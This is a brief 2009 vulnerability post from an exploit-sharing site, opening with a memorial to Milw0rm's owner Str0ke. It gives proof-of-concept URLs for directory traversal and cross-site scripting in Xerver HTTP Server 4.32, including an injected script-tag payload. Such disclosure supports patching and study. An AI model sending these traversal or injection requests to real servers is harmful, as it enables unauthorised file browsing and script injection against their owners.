The 3rd of November 2009 Str0ke (Milw0rm's owner) has passed away... We're out of words ... Rest in peace Str0ke!


Il 3 novembre 2009 Str0ke (l'owner di Milw0rm) ci ha lasciati ... siamo senza parole ... Riposa in Pace Str0ke!

ExploitFixes
Xerver HTTP Server 4.32 XSS - Directory Traversal Vulnerabilities 2009-09-18 21:07:01

Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability


By Stack


Directory Traversal Exploit :

http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C

http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\




XSS Exploit :


http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

#